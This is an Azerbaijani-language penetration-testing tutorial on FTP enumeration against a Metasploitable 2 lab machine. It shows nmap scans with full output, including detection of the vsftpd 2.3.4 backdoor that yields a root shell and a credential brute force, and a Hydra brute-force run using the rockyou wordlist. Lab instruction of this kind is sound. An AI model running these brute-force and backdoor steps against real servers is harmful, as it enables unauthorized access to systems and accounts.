Salam hər vaxtınız xeyir dəyərli oxucular, bu gün İrəli səviyyə Enumeration başlığı altında FTP protokulunun ətraflı bir Enumeration yerinə yetirəcəyik.Əvvəlcə nəzəri sonra isə Metasploitable maşının köməyi ilə əməliyyatları praktiki olaraq görəcəyik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
FTP-File Transfer Protocol (Port 21)
FTP protokolu adından gördüyümüz kimi kliyent ilə server və ya uzaqdakı kompüter arasında faylların mübadiləsi üçün istifadə olunur.Server dedikdə yəni hər hansı veb saytın və digər servis olan uzaq kompüterdir,hansıki biz faylları ora yerləşdirə və ordan əldə edə bilərik.Bəzən veb saytlar ftp protokolu ilə HTML və Javascript kodlarını sinxronizasiya belə edirlər. FTP protokolunun iki təhlükəsiz versiyası vardır: FTPS və SFTP.SFTP (Secure File Transfer Protocol) protokolundan SSH servisi 22 portunda faylların təhlükəsiz mübadiləsi üçün isifadə edir.Digər təhlükəsiz protokol olan FTPS (File Transfer Protocol Secure) 989 və 990 portlarında faylların SSL şifrələməsi ilə mübadiləsində istifadə olunur.
FTP protokolunun təhlükəsizlik baxımından iki çatışmazlığı vardır:
- İstifadəçinin daxil olması üçün istifadə olunan məlumatlar açıq bir şəkildə göndərilir.
- Fayların mübadiləsi şifrələnmir.
FTP serverin istismar (Exploit) üsulları
Cari mərhələdə başa düşməlyikki biz FTP servisini istismar (exploit) etmək istəyirik.Yəni biz əvvəlcədən nəyi axtaracağımızı bilməliyik, yoxsa sadəcə olaraq qapalı gözlərlə servisi skan edib yekunlaşdırcayıq.FTP servisini müxtəlif üsullarla istismar (exploit) edə bilərik.Aşağıda FTP servisin mümkün istismar edilmə üsulları verilmişdir:
- İstifadəçi məlumatların ələ keçirilməsi
- Sniffing (trafikin ələ keçirilməsi, FTP istifadəçi məlumatlarını açıq şəkildə göndərdiyi üçün həmin məlumatların axtarılması)
- Sniffing və şifrələnməmiş məlumatın ələ keçirilməsi
- FTP servisinə Anonymous şəklində daxil olmaq
- FTP servisin versiyasına uyğun exploitin tapılması və istismarı
Enumeration prosesin başlanması
Siz bu paylaşımlarda servislərin enumeration prosesini real numünələr üzərində görəcəksiniz.Bu əməliyyatları yerinə yetirmək üçün hədəf sistem Metasploitble version 2-dir, yəni Linuxdur.Bu zəifliyi olan maşını bu linkdən endirə bilərsiniz. https://www.rapid7.com/products/metasploit/metasploitable/
Servisin Skan Edilməsi
İlk növbədə servisin skan edilməsi üçün Nmap alətindən istifadə edərək skan yerinə yetirəcəyik.
┌──(root㉿kali)-[~]
└─# nmap 192.168.10.35 -T4 -p21 -sV -sC
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 19:22 +04
Nmap scan report for 192.168.10.35
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.10.16
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:C2:9C:86 (VMware)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.24 seconds
Nmap skanı nəticələrinə əsasən aşağıdakı nəticələri görə bilərik:
- Biz FTP serverinə Anonymous şəklində daxil ola bilərik.(İstifadəçi məlumatı bildirmədən)
- FTP serverin versiyasını – vsftpd 2.3.4
- FTP servisinin açıq bir şəkildə əlaqə qurması
Nmap Skriptlərini Köməyi İlə Servisin Ətraflı Skan Edilməsi
Əvvəlki başlıqda istifadə etdiyimiz -sC parametri də skript üzrə skan edir,ancaq bütün skriptlər üzrə skanı yerinə yetirmir.(-sC skriptin susmaya görə skanı mənasını bildirir.)Biz bu mərhələdə FTP ilə əlaqədar olan bütün skriptləri –script=ftp* parametri skan edəcəyik.Bəs deyə bilərsiniz biz bunu niyə əvvəlcədən tətbiq etmədik? Buda biraz səbrli olmaq lazımdır, axı Pentesting mənası servisləri skannerlə analiz etmək deyil metodologiya ilə istismar etməkdir.
└─# nmap 192.168.10.35 -T4 -p21 -sV --script=ftp*
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 20:16 +04
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
NSE: [ftp-brute] usernames: Time limit 5m00s exceeded.
NSE: [ftp-brute] usernames: Time limit 5m00s exceeded.
NSE: [ftp-brute] passwords: Time limit 5m00s exceeded.
Nmap scan report for 192.168.10.35
Host is up (0.00079s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: BID:48539 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| https://www.securityfocus.com/bid/48539
| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.10.16
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
| ftp-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 1891 guesses in 301 seconds, average tps: 6.0
Aşağıda Nmap skanının skriptlərlə yerinə yetirilməsindən möhtəşəm nəticələr əldə etdik:
- Anonymous şəklində daxil olmağı təsdiqlədik( əvvəlki skanda da bunu görmüşdük)
- Brute force ilə istifadəçi məlumatların tapdıq
- Cari FTP versiyası ilə servis istismar (exploit) edilə bilər.
İstifadəçi Məlumatların Ələ Keçirilməsinin Digər Üsulu
Əgər siz brute force üsulu ilə daha ətraflı məlumat almaq istəyirsinizsə onda Hydra alətindən istifadə edək.
└─# hydra -t 10 -l ftp -P /usr/share/wordlists/rockyou.txt ftp://192.168.10.35
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 21:33:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344400 login tries (l:1/p:14344400), ~1434440 tries per task
[DATA] attacking ftp://192.168.10.35:21/
[21][ftp] host: 192.168.10.35 login: ftp password: rockyou
[21][ftp] host: 192.168.10.35 login: ftp password: 12345
[21][ftp] host: 192.168.10.35 login: ftp password: 123456789
[21][ftp] host: 192.168.10.35 login: ftp password: iloveyou
[21][ftp] host: 192.168.10.35 login: ftp password: princess
[21][ftp] host: 192.168.10.35 login: ftp password: 1234567
[21][ftp] host: 192.168.10.35 login: ftp password: 12345678
[21][ftp] host: 192.168.10.35 login: ftp password: abc123
[21][ftp] host: 192.168.10.35 login: ftp password: 123456
[21][ftp] host: 192.168.10.35 login: ftp password: password
1 of 1 target successfully completed, 10 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-22 21:33:48
Hydra alətində istifadə etdiyimiz parametrlər:
- -t 10 əməliyyatı 10 paralel axınla yerinə yetirəcəyini bildirir.
- L istifadəçi adının olduğu faylı bildirir. l (kiçik L) isə istifadəçi adını bildirir.
- P istifadəçi şifrəsinin olduğu faylı bildirir. p (kiçik P) istifadəçi şifrəsini bildirir.
Biz bu seriyada sadəcə olaraq məlumat topladıq və digər servislər üzrə də məlumat toplayacayıq.Növbəti seriyada isə biz bu məlumatlardan istifadə edərək istismarı (exploit) yerinə yetirəcəyik.
Ümidvaram faydalı olmuşdur.Təşəkkürlər! Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Telegram (Qrup): https://t.me/xakerazgroup
Telegram (Chat): https://t.me/xakerazchat